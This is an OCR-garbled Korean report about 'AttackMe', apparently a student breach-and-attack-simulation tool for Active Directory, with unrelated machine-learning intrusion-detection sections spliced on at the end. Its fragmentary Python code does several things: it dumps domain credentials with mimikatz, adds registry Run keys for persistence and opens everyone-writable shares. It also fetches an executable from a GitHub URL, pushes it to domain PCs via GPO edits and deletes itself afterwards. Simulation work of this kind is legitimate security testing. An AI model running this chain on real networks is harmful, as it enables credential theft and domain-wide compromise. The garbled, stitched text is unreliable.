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10 A7 B
‘Afo|b| WEH|Z0|2tT B2 OHE Qb 0| AZEH £Z 02 HHASIBIAl Aol uf
A0j2tD & 4 Qe AE EAEO Ofet BHE YL YUCH BASS MM Of2
2

fE HO= A|ZRA7|Z Market&Market2 X MA BAS A|Z0| 2019 1< 34002F
.|
o

FHOM B 40.2% FYsll 2024F 79 22000 FHE YL A= oS3l
|Breach and Attack Simulation|
VPT
DRPS /.
File Analysis
Integrated Risk Management
» SOAR
g Deception Platforms CASBs
E SIEM
= Pen Testing as a Service MDR Services Hardware-Based /,,———-’— -
8 Security Vulnerability
o Endpoint Detection / Assessment
fu< and Response ¢
External Attack Surface —
Management TI Services
Autonomous Penetration NDR
Testing and Red Teaming OT Security
Innovation Peak of Inflated Trough of Slope of Plateau of
Trigger Expectations Disillusionment Enlightenment Productivity
TIME
Plateau will be reached: <2wvrs. 2-5wvrs ® 5-10vrs >10 vrs. X Obsolete before plateau
[Z1= 1. Hype Cycle for Security Operations, 2021]
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13 g9+ 34 2 F4 H%
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2.1 Active Directory

Active Directory= Microsoft Tt7f Windows ZZO0|AM At25t7| s 7HEst LDAP
Directory ServiceC}. Directory Servicet £AME HEQ3F BZA0AN YEYI ALt}
HEYJI RE & Hdifetoty e & Us 2= 845 HEfotd 4dst7| gt AMH|
A0 Ol2fst 43 s’ Yol T+ 7|¥0| Microsoft ite Windows Serverg O|
82310 Active Directoryg /8 % &85t ULt Windows Server= 7| WHHOl ALt
LM 2 72.1%7F AFEStl 2D, Active Directory MH|A= Fortune M4 4 500

N 7198 95%7F Aot AR EEA AL

2.2 MITRE ATT&CK
MITRE 19 ATT&CK T UL I Ato|H ZHQI(Cyber Kill Chain) 7HA|E 14TA 2
Mo U A2 SAZRY HA| P/HE 7822 H=(Tactic), 7|=(Techniques) 1

2|11 Mzf(Procedure)0f OfE & U

APT ZZ0|AM ZZAR= Mz 27 [jAHo| %;?g(Reconnmssance)éfq =0 §EE HIT
o2 z7| H&(Initial Access)3ttf. 0|F HQdt =3 ALES o HEH 4&(Privilege
Escalation) & 2t % <4(Credential Access)sto] L& | He F7F gl LTt
LZAR7L A|AE Ztobg OpRE|st S0 HE 2 %0f{(Command and Control) £2

o
E(Impact) & 279 2* 2 O|&L}.

2.3 TAS05 CLOP
TAS05 &2 JUOM eHHEE ZEsie AYE7F w2 1800 FUoM=
:L°’7I3Jrg et A 8T 20208 XX 1B ZAS=R QUi o ARRE ZO|
. CLOP E&ﬁﬁl%i Active D|rectory (0|5 A L2A5t= 7|19 Of



3. 28

3.1 A|2H 718
Breach Attack Simulation (0|5} BAS)= Ofgfjet ZH2 A|AHI b= 1R = JRRICH

. . . " Add Persistence
Scenario selection Downloading and Output Information " A .
. and execution Running Modules And Roadmap glesibesnicad » M“hﬁ:‘:ys)m > Network Discovery

N e :
: A : l

Add Persistence o Fjleg Download +—  M2.5  <— | Vertical Movement

Cmdennal Acquire <+—

Mechanism :
................................. Credential : . .
Acquire & Abuse 54— Credential Acquire
<«— Lateral Movement  —
Sensor

nnnnn

[1E 2. 28 K]

3.2 Main Module

Module 12 Module 2,3,40|A £8ist HEHE o GUIZ EOF= BE0|CF A7 &
AME &5t 2 BEE0M £3E = PCO| Ozt HEe} 385t &S 4810, ST U
&2 L9 JHiZ B0 HOF= A0 FH 7[SO|H. Module 10|M &8 £+ U=
7|5

o ofzjer k.
WE 3]

l‘_

= Modulexto] &

Node Y = 7““3

Al A ‘%l %‘%*

DWW | —

CSV ot A%
[E 1. Module 1 39| Q9

3.2.1 & Modulel}e| F4

Module 12 L& Moduledt £7 FHS 5t0] HIO[HE =0 4 A HEE=
AMEA Fo AT RE HERS 4 S50 2dL 1 =S HFEEH. T
2e 20 A W HeS MAstl UM, Offf [H 2]9f 0 AZAYH 2UeR
US0 SHO|ANET} &7 49, =HOIUE &7, IP =&, O|F, 27 FESS #20
Aot BR AER0| TF&S €H S SHO|UESY HojH S gt 2 ES
g




A HH Ha A
self.parent SEHERE HYoles B
self. Module_BoollListen | ME| 40| 2|34 TH7|) AFEHQIR| OFHR| %%
self.Module_Clients U&5H ZEO|O|HEES A4St ZAE HA
self.Module_Names g4 SS0|UES O|F& A ¥
self.Module_IPs H&sH ZEYO|HEQ| IPFAE AZS HA
self.info_List g4 SE0|UES JESS AYY Hae
self.conn, self.recv E20|UE M4, MO 44 EU= Al

i

[E 2. Module 1 224 ZH%| HH

IP_Module ~ | URL

[O1" 3. 9L &5 &3] 2 27| Module 19| 25]

testl

\ -_—
test3

[1E 4. 98 PCY HEE 44 €2 Module 18] 25]

-
Administrator
-

(

test2



3.2.2 Node & =

Module 1 0|22 ModuledAM = SiE Moduled|Ao 43
ARt IP WEE dictionary HENE HZSiCt DE 2 4A5H
dictionary L|O|E{& Module 12 &£AISHE . Module 19|A

ol -
M=

=T

5

EIS E&oll Nodel| FEIE AZot0] ALEA[0|A EO|EH.

[1F 5. sf4e] E=0|MTt JES

[1E 6. 4 250N EES

IP: 192.168.0.129 Port: 58676

Info:

[M3]

Create share folder: Ok
Download Module4: Ok
Add GPC: Ok

Yes

YAS 2 Node FE]

_— M

IP: 192.168.0.129 Port: 60659
Info:

[M3]

Create share folder: Ok
Download Module4: Ok
Add GPO: Ok

[M4]

all clear: Ok

Yes

U= 2] Node FE]



323 AYE| L M

Module 19M=
JoE
Combo Box& O|&dI A|LE|2&
of ZQR3F ModuleO| ZZt= =
ModuleO| 22 E

scenatiol -

Ho 2,

AL E e

HO|ECL AlLfEe Me

& AL A2 E ffofl TR
dictionary HENZ 2{%}5t0
ALH, AU ME Al SiF ALE L
-3 S run HE 28 Al i
L AHEIHA ST scenariodf A YTt

sL5)

=2 O

https:/#github, com kdwIB05/ &ttackMeraw main/ME2_vl py

[1E 7. 7|2 MUY= FE]

25 HBAHS oS DYE AU ARY 4 Y& %O| o
TRst BJOFE F7I6H AR &+ U
X
[1E 8. Al4E| 2 7t ]
3.2.4 CSV md #3t
SS9 2YOIAESY YEE CSV IUR YO HAY £ ULk
A B C D
1 |name ip port infos
[M3]
DC 1922.168.0.129 60660
2 test: OK
[M3]
test 192.168.0.129 60640
3 test: OK
[M3]
test2 192.168.0.129 60641
4 test: OK
[M3]
test3 192.168.0.129 60642
5 test: OK
[M3]
Create share folder: Ok
o Download Moduled: Ok
Administrator 192.168.0.129 60659
Add GPO: Ok
[MA4]
6 all clear: Ok

[23E 9. AZE CSV It HE]

Add

L og

run

, AFEARZE AL 20



3.3 Module 2(Package Module)

WE )
1 7 chezc
2 A& 271
3 Net view =0l A
4 Credential €15 9 o] &
5 JA o5 4 54 ols
6 Module 3 | Module 2.5 R}

[E 3. Module 2 39| Q°k

331 Q3t 28 C22HE OGRELC

mkdir{set_path

download{url, file name):

with open(file_name, "wb™) as file:
response = get({url)
file.write(response.content)

if _ name__

url = °
downloa

IMAmn

[1™ 10. Module 2 I} ChF=2C ]

el 23528 HdYATIH ddE= EH,

Of C:\module2E& #{%raH

L Mo

9]}
:Olg
0
@
©
=

>
&
4>
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bl R Lo
EMHES oF H AMst Ohg F=EE O 7|7F AA|, RunOnceExs= ZE=3 b B Al

5 Z2Y 0 7|7} ARSI
3.3.3 Net view ZH|Ql &

- popen

IpDiscovery_log_path = IpDiscowvery_path +
open{IpDiscovery_log path, ‘w")

[1& 12. Module 2 Netview F&E0{]



0|5 & ol FA 0|50 ZAdt Computer Names= net view FHO|E AISHA|F
A2 PCeF HZ= 2= Domain name2 S22 IpDiscovery_output.txt I} 0
net viewsS AlSHsSH [If &&= Domain name IPeF &2 FAE 7R UOIM =A

=
Ol 4 0|z Ul Domain nameg& Ar&3tCY,

f=open(IpDiscovery_log path,'r"}
IpDiscovery_use_path=open(IpDiscovery_path + "\ IpD

for line in +:
if "W line:
IpDiscovery_use_path.write(line)
IpDiscovery_use_path.close()

list = []
f=open(IpDiscovery_path + %
or line in +:
if "W line:
domain = line.split{'\\’

[13 13. Module 2 DNS & 5]

IpDiscovery_output.txt LU 0| A net viewZ E2|{-2 Domain namesS 0|& AfRE X
A0 ZA CFE0] IpDiscovery_use.txt THUO|| A Zetrt,

3.3.4 Credential & % A3t

1_output.txt®)

(credential_path + '

line:
log.write({line)

[ 14. Module 2 Credential & % *{%!]

DCO| H™I& £ U= AZS ES5s5t7| ¢fsi mimikatzexeE Hlol T RSH CredentialZ
Z= U Ar2sF Credential, User name, SID, Domain, NTLME& [} £ Credential_log.txt It
UZ ZSHTH

- 1 2 -



= [1line.strip("\ or line in 1lin

edential_use=open(credential_path + '
idx=8

count=2

plit{"-"})

(SID_num[len(SID_num)-1])=="

username=11i

domain=1in

sid=lines[i

ntlm=1ines

Credential_

Credential_use.

Credential_)

Credential_)

Credential_

Credential_

Credential_)

Credential_use.write(".")

[1% 15. Module 2 SID &E]

Domain Controller2 Z4 0|52 5t7| YaliM=
of SID9| Bbfz|ak Zfo] 50021 SIDE Z#M = TR
Credential_use_500.txt0| #{&SrCt,
atoF SID| ORx|af Zfo] 50091 SID7t 98 A &
ZAM 3 Credential_use_1000.txt0]| 2 &3t

A AFe SID7F BRstH7| Iz
User name, Domain, NTLME&

o ri

N

4 0|52 98 SIDZF 10009 Zte

f=open( "C:\m:
line = f.readli
for i in ra en(list)-1):

lines = line[@].split{".")
return_code

[1F 16. Module 2 34 O|&]

SIDZF 5009 Zf0] /US AL Credential_use_b500.txt0]] A 2= User name, Domain,
SID, NTLME A&35lf Domain Controller2 £%4 0|5 € 5t 2532 4430},

_’|3_



f=open("C: G = t entia = xt",'r", encoding="UTF-8")

if name[@]
return_c

[1F 17. Module 2 &4 0O|F]

Je|u SID 50091 ZrS O|8aiAl A PCe 2/AES| DNS7t Zg U 2AEQ Ofg
DNSZ % O|§E stof 28 258 U

3.4 Module 2.5(Package Module)

He 30
L 1Y thgec
: SERES,
3 Credential && 4 o]&

[E 4. Module 2.5 3¢ 8°F]

341 Hest o2 C2EHE HREE

= set_path +

(Down_path,

[1Z 18. Module 2.5 T}Y T}z ]
M257F A8 E4E5E GithubE &off B et 2828 HAAIIH Y8E= &
at £

=
o, DFUSoll ot MY FRE B4R AYor7| s set_patht# 40| C:\module2.5
AYs 2828 ¥ =5 A7e MUSS MR

_’|4_



(registry,

ey {registry)

{registry,
egistry)

|44 2E57| 93 ARLER 7S 2IPSIUC Rundle
CHS 7|7F A, RunOnce?|= T2IUS &t ¥ M & CfS 7|7 A, R =
Mg & W WS 42 ZEY O 7|7} A, RunOnceExs TR 3 o A3
5 Z29 ) 7|7 AHE

3.4.3 Credential & % At

line:
og.write{line)

Credential lo

[1& 20. Module 2.5 Credential 2& 2 % %]

CHE Z20|AEPCH MR £ U= AFS &S5 sl mimikatzexeF Hfoff TRSF
Credential& =& % AFE% Credential, User name, SID, Domain, NTLMZ L2
Credential_log.txt Y2 2z ZFSHCY

_’|5_



3.5 Module 3(Package Module)
Module 27} Credential& &£3F S Domain Controller9| d<£35ICF O|% Module 32
Oz f= Z40| 22 HYLCt Module 32 Domain ControllerOjjAl 2&Z &24

a 5
HAE Udots QY S AU, FAH2U WA= orefet o

319]
871, PC olg 5 A
25 =0 4
Module 4 &2 &
GPO 5=
[ 5. Module 3 =¥ £2°f]

rE
fok

DIWIN |-

35.1 A8, PC O|F 5 &AM

platform.platform
platform.node
= getpass.getuser()

"M4v1.0.exe"

socket.socket(socket.AF_INET, socket.SO0CK_DGRAM)
.connect(("8.8.8.8", 8@))
= s.getsockname() [@]

dri = os.path.basename(__file_ )
info_List = []

[1F 21. Module 3 &4 MH]

2A4 ZEIH A5 A 4 HLEsts #3E AEE, =£E FO| LE7]0]| ofof| g
M R EES O|EdHA of Attt o &oliM =% EZOI=H o &3

SFA
[= R
AMME Ol §lol 25 = A

_16_



A 349 FL2 Credential& & 53t ZZAA[7} Domain Controllerd| & 5 2r-ggf
= Qs AFEE Motl g9t ofA|Th BASY FR Aol ZEI2Y HOf 2af ¢
Of ZIY&[ofoF otEE BEO AH M 7[sEH= S7 AH 48 = &8s TU=
REL
L 71 AN

file_create():
try:

cmdl = powﬁrhhe11 exe mkilr C:\\users\\{}\\desktop\\share2".format(c)
cmd2 = ez sersi\\{}\\desktop\\sh 2 \"/GRANT:everyone, FULL\"".format(c)
cmd3 = "icacls \"C:\\uJerJ\\ \\desktop\\share2\" /t /grant \"e rone: (0I) (CI)F\"".format(c)

subprocess.call(cmdl)
subproc call(cmd2)
subprocess.call(cmd3)

info_List.append(('Create share folder','0Ok'})
except:
info_List.append(('Create share folder','No'})

$ HEYI ¥& Atz BRI NTFSO| Ofjsh Het
cmd3S E51 NTFS €17|

" file_download():
try:
ithub.com/kdw9885/AttackMe/raw/main/M4dvl. @
/Desktop/share2/".format(c) + d

urllib.request.urlretrieve{url, path)

info_List.append(('Download Moduled', '0Ok'})
except:
info_List.append{('Download Moduled4', 'No'})

[1™ 23. Module 4 G225 HHO]

29 EME MAM3SH 0|50 Y A 20| Module 42 C2RCEsH= F@Aojrt ojmy rt
SR ESHE C2 &£ Githubg 0| 23tCt,

_’|7_



354 18 %

Jé

gpo_add():

try:
cmdl
cmd2 \ L. S g ) e -Name \" " —Key \"HKEY RREN SER f re\\Microsof i CurrentVersio n\" -va
cmd3 \ Ls reg r' 3 e ra o i Microsoft\W Current an\\policies\\

gpupdate /f

.call(cmdl)
.call(cmd2)
.call(cmd3)
.call(cmd4)
.call(cmd5)

info_List.append(('Add GPO', 'Ok'))
except:
info_List.append(('Add GPO', 'No'))

(1% 24. 18 3% S5

Module 4 4227 &2 =CHH OF23F 20| Active DirectoryOf|A] 2o 8= |
Hote A& e A&SH. 15 JAMo WgLeE dAZdE E& =E0|M Module 45
A3lSHH, Offf .exe AR Module 49| HESH HHZ Qs UAC &&= F&EH.

f = open('ipconfig.txt', 'w' ,encoding='UTF-8'}
result = os.popen('ipconfig /all').read()
f.write(result)

f.close()

name=open{ 'ipconf xt', 'r',encoding="UTF-8")
lines = name.readlines()

line = lines[4].split(": ")
domain=line[1].split(".")

first=domain[@]
second=domain[1]
third=second.split("\n")
com=third[@]

[1F 25. =HUE FAH]

7t AISHE|= Active Directory® EM|QIHO| C}27|0) HEO| EFAH FEZ |2H50]
A& iE ZEoM BM EHe EHQIESZ B0 st 17 XO| cmd4
m210{0| Z-23HCtH

o o 1O A 1-

_’|8_



3.5.5 Main Algorithm

file = 'C:\\users\\{M\desktop\\share2'.format(c)

if os.path.isdir(file):
print{"file exist")
exit(1)

print{"no file")
file_create()
file_download()
gpo_add()

Socket_Create()

[ 26. Module 3 Main Algorithm]

hS T E+= Module 32 Main AlgorithmO|C}, 2 2500 OHRE2EE 4 4AsH0| S5
2 Adg A8 7|E9 IY R0 IE 4d¥ oEE Joli=H. ol 2=z IYE O
SRE U HYH FQ else 29| FHOIS £AYOD M
3.6 Module 4(Package Module)

Module 37t Domain Controller0jjA Asi= 5 o SHYE +XHO= ZIMSICY
Active Directory0| GPOZf H{EH S PCS0| AEFE T GPOY| M=t &7 EH0 U

+ Module 4& AI4SHC}

Module 4= MITRE ATT&CK ZUY T A0|M Impact THAQ] Qo] ZRMS 2
1 U BAS ZHE04 Module 4 2
Module 2, 32} BE BE HAISS AX| & A7F ARAIIR| HRFHCE

_19_



3.6.1 B4kE AA|

file_delete():

try:
dir_path® = "C://Module2”
dir_pathl M
dir_path2 = "C://Windows//Module3

if os.path.exists(dir_path@):
shutil. rmtree(dir_path@)

shutil. rmtree(dir_pathl)
shutil. rmtree(dir_path2)

if os.path.exists(dir_pathl):
shutil.rmtree(dir_pathl)

3.6.2 A7t AA|

self_delete():
f=open("C:\\users\\{}\\desktop\\killfile.bat".format(c), 'w')
f.write(":Repeat\n")

f.write("del /f /s /q {}\n".format(dri))

f.write("if exist goto Repeat\n".format(dri))

f.write("del /s /q killfile.bat")

f.close()

os.startfile('C:\\users\\{M\\desktop\\killfile.bat'.format(c))
info_List.append(('self delete','Ok'))

[1Z 28. Module 4 27t AMA|]

A Z0l A2 zt7F A& 4 91710 Module 45 AA|shE bat EA| AlgY mb
US MY U Aalst 0|5 ZZC S bat U2 module 47} Y= share2 ZHQ
ZA OB E &St & Qg BR MASE REE =/ HY, fle d%c FEStL &
A2 ARG
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5. &HHZIE

01. A2

Breach and Attack Simulation
vPT

ORPS, /.
File Analysis

Integrated Risk Management
SOAR
Deception Platforms. cAsBs
SIEM

Pen Testing as a Service MDR Services Hardware Based _—
Security Vuinerability
Endpoint Detection ~ Assessment

and Response |~

e

EXPECTATIONS

External Attack Surface —
Maragement Tiservices
Msnoneus e orsel®®

TIME
o AlO|H] 2ot QI&0| MziEt £FEOR ST BASOH| Cis ZHAO R Qlal HEM|7t 04 th2C}
« Active Directory0i| Cigt 30| Z7t5tX|2t Blue Team S 02F ZH0| U:0{ZTI 7|Qje| HOHE

* Active Directory EZ0IM MITRE ATT&CK EHAE 2+H5| X}S5}=|0f 2fS3t= BASE /HERS
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05.
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02. O|EX HliZE(1/2)

Ve
AlAE] Qof
AAZ ALK
Aled

#E 9 M3}

Q&A

* ACTIVE DIRECTORY

« Mircosoftiit 2| Windows Serverd|A| X|&3}= Directory ServiceO|LC}.

. ClziER| | BRI} HIEYA Xielo| HaT} ASte HalE 4 YTE B MH|ACH,

Windows Users
ALERHAY 22|

Windows Server

Windows Clients

X

Radius H3
Network 22|

Thelo| ot & & 22|
Rhelo| ohea gt

Rplol 42 2|

(‘ ,‘ : e S8 2] 2]
ABRH I 8 ] ot 21| &7 vz 2|
M|~ B
Network Devices Active Directory Applications

Single-Sign-On(SSO)
ofZ2|7o| M 22|
718y

[

]
>

Firewall Service

HA st ol pa|

Directory Lookups
LDAP X2

E-Mail Service
AtAEt 22|
Mail F2% #2|
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02. 0|2 HliZH(2/2)

* MITRE ATT&CK FRAMEWORK
« MITREit Ol HM3sh= =293

o AN MO|H SHE MR ZHS 1402 LMISHA Lt

& meglela

Reconnaissance Initial Access Privilege Escalation
T I
T1595.001 T1566.001 T1548.002
ACTIVE SPEARPHISHING BYPASS
SCANNING ATTACHMENT USER ACCOUNT
IP BLOCKS CONTROL

Credential Access
—_—
T10083.001
OS CREDENTIAL
DUMPING LSASS
MEMORY

Lateral Movement Impact
I T
T1550.002 T1529
PASS System
THE Shutdown/
HASH Reboot

® ® °

Adversaries may scan  Adversaries may send
victim IP blocks to gather spearphising emails with
information that can be  a malicious link in an
used during targeting.  attempt to gain access

to victim systems

UAC mechanisms to

on system.

elevate process privileges

®

Adversaries may bypass Adversaries may attempt to
access credential material
stored in the process
memory of the LSASS

®

Adversaries may

“Pass the Hash” using
stolen password hashes
to move laterally within

an environment

o

Adversaries may
shutdown/reboot
systems to interrupt

access
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03. A|lAH 29

Main module

AlLt2|e 25 4 J3 HZ

Attackme

.exe

AT EHAE TYE EAl

S HAE Z2 HS

scenario #1
scenario #2

scenario #3

o Voduoz B Moduiezs I Modes

Credential Access

Communication

Communication

Communication

Scenario
module Network Search Privilege Escalation | | Generate Share Folder I | By-Product Deletion |
Transmit Module 2.5 Credential Access | | Module 4 download | | Self Delete |
Lateral Movement | | GPO add | | Test Result |
| | | | |

I | |
I | |
| Privilege Escalation | |
| J
| |

Lateral Movement
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Main module

U2l 25 4 Y3 HZ |

Attackme
.exe EE BAE FI#E FA| |

HE HAE ZA A3 |
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scenario #1
scenario #2

Scenario

module Network Search | Privilege Escalation | | Generate Share Folder I | By-Product Deletion |
Transmit Module 2.5 | Credential Access | | Module 4 download | | Self Delete |

| Lateral Movement | | GPO add | | Test Result |

I | | | | |

Credential Access Communication Communication Communication

I |
I |
| Privilege Escalation |
I |
I |

Lateral Movement
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04. A|AH 2FM|(1/6)

¢ Module 1
o ZISE| QEH|0|E{7} HAE §t1A} 5H= HEQI0| HZEFHLICH
o AI8Xte AF HAEQ AEHE Mefgh|ct

(=1 =g

o MEHEH AIEEOIM Module 27 M1, LIEQIT0) CiEt AHS AIZEILICE

] Active Directory

Red Team Operator
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04. A|AE! AM|(2/6)

¢ Module 2
o HEY3 AMS E5f| 2 =0Ql =20 Module 2.5Z Injection & Execute 8fL|Ct.
o 34 TIE 0|8317| Qs 22 At 4&S FLCh
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Windows Server Windows 10 Windows 10 Windows Server Windows 10 Windows 10

-
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04. M2 Al(3/6)

¢ Module 2.5

« 3F =TE 0|857| I3l 22 At 452 LIt

« Mimikatz 52| =7Z 0|23l Domain Admin £Z2| CredentialS EfAi8fL|Ct,

. e
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= Active Directory

Domain Controller Red Team Operator

Windows Server
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)| T - T
L Ll
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Windows 10 Windows 10
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Windows Server Windows 10
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Windows 10
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¢ Module 3
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Ml Active Directory
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04. MAH] Al(5/6)

¢ Module 4
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Windows Server
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04. M2 &Xi(6/6)

¢ Module 1

o E55t= FE SR ol ZELICh

None  ~ scenaio conmend an

-
fest
@ Administato x

° 1P 1921680129 Port: 64641

3]

Create share folder: Ok
Download Moduled: Ok
Add GPO: Ok

Mg

M4)
al clear: Ok

Administrator

ackme All right:

05. Al2i(1/2)

a Internet Q GitHub

282 283 284 CI22C8
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05. A|21(2/2)

None scenario command

-
test3
-

P: 1921680120 Port: 64641
info:

Administrator
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6. HZ2H
[1] Active Directory 40| M2 ZISHAIL S3F &4
(HEESSHS|A| A31H #3=, 2021. 6)

[2] APT Simulatior, https://github.com/NextronSystems/APTSimulator

7. 24

A2 AFE: https://github.com/kdw9805/AttackMe
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2.3 Spring Security
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2.1 Python

Python2 & OfE2|AH0[H, 2ZEY O 7§, GO utst, Z[A=tsMDo 22| ALE
= T2 A00ICt FEEE CHREE 7+s5tH Windows, macOS, Linux X Unix2t
#2 Chdet ZAFEH 29 MAoM =8t 7hssto CHE ojof Hig) o M2 AE &2
AHESHD, Ho| B E Z Y0 MAIE Ztstt ZETL EZotE 2 BE 2Ho|EHZ| 7t @
Ch CHE =202y A0 ECH Q17 00| 772 ngHO0{0|Ct QIHUIOAM F&% 2
AATF QO HfR7] &7 MEo Y S=E S7HAZICHL 2= AE ANz ZHFSHK[T,

2E 2g Kz 7
T 9 shad m2asiy So| 2 m2OY S¥E X5t RE {HO| AlA
2t ALSHA SSEICE Python2 SHAMEl Q102 ZEE of 4 2 ddsict R E
= %2 = AT ZHTF LdlstH HRLEOM WHE X|FE 22 = UCH
2.2 XGBoost
XGBoost= Extreme Gradient Boosting2| 2fX}O|C}. Boosting2 Y& 7|8 & StLIZ
oot 0|5 RS9 a&E oo JIEXIE F1, =XELE O o5 ZEo EHFE5H0]
23 o 52HE U= ZO0|Ct 0|28t Boosting 7|HE 0|83 Tt Luz|EFL2
Gradient BoostZ} CHEXQIG| O] ¥nz2|ES EH 50| XYL =5 73T 2to|222
7} XGBoostO|Ct Z&st AAls mEOl GBMS| THE QI IHATH(Overfitting), £= 2XME
bod

o
H225H7| floll EZAC GBMIL OHEVIX[Z 7HSX| HOO|ES BAlotd#E AFESC

A
s1t A 280| £, Regression, Classification #ME 25 XSt Q17| JUA ALE



2.3 SelectKBest

S MEH 2 = Filter Method2t= TAMZITHOIM FE ALESLD St SAH7|HS2
Aot AEA T =2 Bl 480 2 WE FE5k= €Yol UL Filter
Method SO0ME THY S MEi WMo = FHO|AH O HAE SAZ(chi2), 2424 FE
o EA L classif), M4Z™HE 2 (mutual_info_classify 2120 S2IHSE SHLIDE AR S O
FRdo| d58 0|83 7IY 2Rds 22 4#aA7 52 B MESHE 2ol
Ch olzfst HBE2 AM8Y =+ URE siF= EE T StLH7L SelectKBestO|Ct.
SelectkBest= Scikit-learn2| ZEZE targetH 2t Q| B4 ALO[Q] AEAAE A AHSH
7 HSEEAZE 22 He WHE U8 = JARF diF= E=0|0L

2.4 Random Forest

Random Foreste= X|&Q| 7|& HE ESHH MEiSt=E H{A2{d 7|"HO|CH A=
sh&ol jEXQ ZEZ Baggings  AHR3IY EEE UEO| feature@t MEHS}O]
Decision treeE THE1, oiY Y2 HhE | Decision treeS &MTLICt Of
2 7§Q| Decision treeOA LI2 O|FZHE2 ECHE 7f Wo| LI 2 AT o FU=
MEstH E7 Decision®| A overfitting0] HASIEHEIE o2 74 ZatE X 2T Z
ME =E517| W2 overfittings &X|& = ULE,

of
ko)
Q
Erm
TS

2.5 DNN

DNN2 2d W 2HESS ol s2iM =52 ZOE M7= WHez 2YES 2
70 ol X sEgtHE oot 2 =E= ol ZoM FOoX[= LGt WeightE &
st FZeh gte2 ©F HaliX|D O e &4 o ez S0 =ch g4 &
o Auprt =9 EHo| siYstnd, o] EHgo| FFH2=E E2RLE 37 40 0|
A Elch BiasE Cieh 5l M3t &5 HA ZHUS Adtsied o] td 2 AHSolA
£HE02 F=AHoz FHslol 2 EMoZ DNNe| FHG2 ALtsict cise 245
2 EPsto] Cifel HIMYEA HAE S5 + UKL S5 @5 B2 AN o
St st&stod A olo[Eol CHsl X7t S7tste mpA e 7[27] atel &4 28 S
o] wtMst 4= Qlct EFoOIR, ReLU(Rectified Linear Unit), i x| Mzt §2 #o| ME
=AM Hejde slia 2H=E E2Z= 10 Ak

26 LSTM
LSTM2 Eaid &0y
7FX| 2 recurrently 3t
HZ2E Hets ofH
B2 22 =&t

S}

term memoryOf| &

M AHEl= RNN OFZ|EIME 7|ESl RNN2 tH7| mze|gts
= Ef LSTM— Tl ME2le E7 HEEE LH s = F
E % O Zotct LSTM2 273Kl At Hoj &FH7|/Eo| EE
A | ”1|EE|9f OMIEE 7|2 Z Z+Z} |ong term memory, Short
o &8s MRME SHEAIZICH E3h ZE RNNO| ZES HHEA|



7 M3 STME ZZt0| oot e X2 71X
Chaot neural network Iayer ot = Al
=& | QUCL neural network

= AtAZ2 dZSHA| ZoECE Recurrent
neural network (RNN)= O 2X|E SiZStaAt Sl ZEO|Ct RNN2 AAZE HHES
HA O™ EHAOAM Y2 HEIL X|HEEF SHCE RNN2 input xE 2HOtA hE LHEH

Ch. AZ SEiW 852 O F HHANMO network?t O EHAIQ] EHE YeCt= AS
2 0j=Ct

® ® ® ®
/T\ I

L— o
UX|Tt, 2t HE REL
o, 4702| layer7t &3t B4
= O[O LOojit Ab?

44
kl
|'|II

K

= A — A —f A

?
ol Sl Gl

[ A8 1 LSTM ]
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2.7 NIDS

NIDS(network intrusion detection system)£ WEY3I & EX
=]

AMAEIOR |DSO| $

—

-

[} O

F2 UESRZ EQHS TAGHH MHE|A HE 54, ZE A HFHE ISt =
AN St 22 oelNel 4SS HAlotks ALZOITh NIDS= HERA MIATEF
StLtel ZX[7|2F XS F2= 2X[0o Eolst Efigs HHE X0 2X|5tE=

Z7| 75 HIEO0| MESILE 2AMHMO =Ho|l2=2 £ Sl 227 g BNE Ed)
ool sl HYXZE MABEZ|7F o0 WEAINM JHE ZA=0f 7HE MHel d5
Mot7h gltts FEOl ACE obX| 2 YootE mjzls M + §ln 14 HERI &4
iME Tzl £2E0| HOF BXA[E0| BOXH 2AE JOoM sAE= MF A0 T
of EAlE & fltt= T = ZhX[ ULt
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3.2 HO|E| Al

3.2.1 NSL-KDD

NSL-KDD+E 2009 Tavallace?t KDD CUP 99 9
HOlE MO=Z KDD CUP 995 HEetst0] 41719 £

At SAFEE LIEHLY
42700 2t Z O|FO0{MRULCL DoS, Probe, R2L, U2R 47}X|

322 CSE-CIC-IDS-2018

Attack Class

DDoS

Probe Brute Force DoS

[ 38 2 AA" 24

FSPshe)!

=24
EX

|

DoS

Attack Type

Probe

Apach2, smurf, Neptune, Back, Teardtop, Pod, Land, Mailbomb

Processtable, UDPstorm

R2L

Satan, Saint, Ipsweep, Portsweep, Nmap, Mscan

U2R

WarezClient, Guess_Password, Imap, WarezMaster, Ftp_Write, Named,
MultiHop, Phf, Spy, Sendmail, SnmpGetAttack, SnmpGuess, Worm

Xsnoop, Xlock

Buffer_Overflow, Httptunnel, Rootkit, LoadModule, Perl, Xterm, Ps

SQLlattack

[ & 1 NSL-KDD ]




HO|E= & 148517702 normal 770547l, DoS 533857}, Probe 140777H, R2L 38827H,
U2R 1197HE O|FO0X en F 7tX| fdel =23 U Al OOl MZ HISHCH
KDDTrain+£ 324 #8 o2 =Zst MA =& GHO[E 40|l KDDTrain-£
KDDTrain+2| 20%E Z2tst= =7 OO|H MO|Ct KDDTest+2 &47d o022 =&
St MM A" OIO|E Al0|1 KDDTest-21= KDDTest+O0|A HO|E £ 212 HAHTH A
& Holg AolCt HolE =F 212 34 ZAE0| 7IE #2 YHIAE=E 2QOolsiCh
NSL-KDD&= HERA HEY A= Y12|E Z2 IDS/IPS 4= E7te If © MAZXES
2 7Y HO| A8 El= AR YN UL

>

3.2.2 CSE-CIC-IDS-2018

CES-CIC-IDS-20182 7HLICE ALO[H{EQF ARLAO0|M XNSSh= HIO|EA2=Z 80712
HE 7K1 /J2 DO Brute-force, Heartbleed, Botnet, DoS, DDoS, & &4 4l L&
3 BTl 77tX|Q| &4 AlLt2|7t ZSEO QUL 54 QIZEL0= 50012 A0l =
2tr|of o msf ZEO0|= 5702 £A7F A2 420CHe| MAIDF 30CH| AH{ZF QUCE
HIOlH ME& CICFlowMeter-V3 & AMESI0] WASIR D, WAME EZ{ToA 80742 7
s3f 8 ZF A|AHESl HEYZ EofE 8 AAH 271 Zote|0 UL

=
=
E

attack Tools Duration Attacker Victim
Bruteforce attack FTP — Patator. One day Kali linux Ubuntu 16.4 (Web Server)
SSH — Patator
DoS attack Hulk, GoldenEye. One day Kali linux Ubuntu 16 .4 (Apache)

Slovdoris, Slowhttptest
DoS attack Heartleech One day Kali linux Ubuntu 12.04 (Open SSL)

Web attack Damn Vulnerable Web App (DVWA) Two days Kali finux Ubuntu 16.4 (Web Server)
In-house selenium framework (XSS and Brute-force)

Infiltration attack First level: Dropbox download in a windows machine Two days Kali finux Windows Vista and Macintosh
Second Level Nmap and portscan

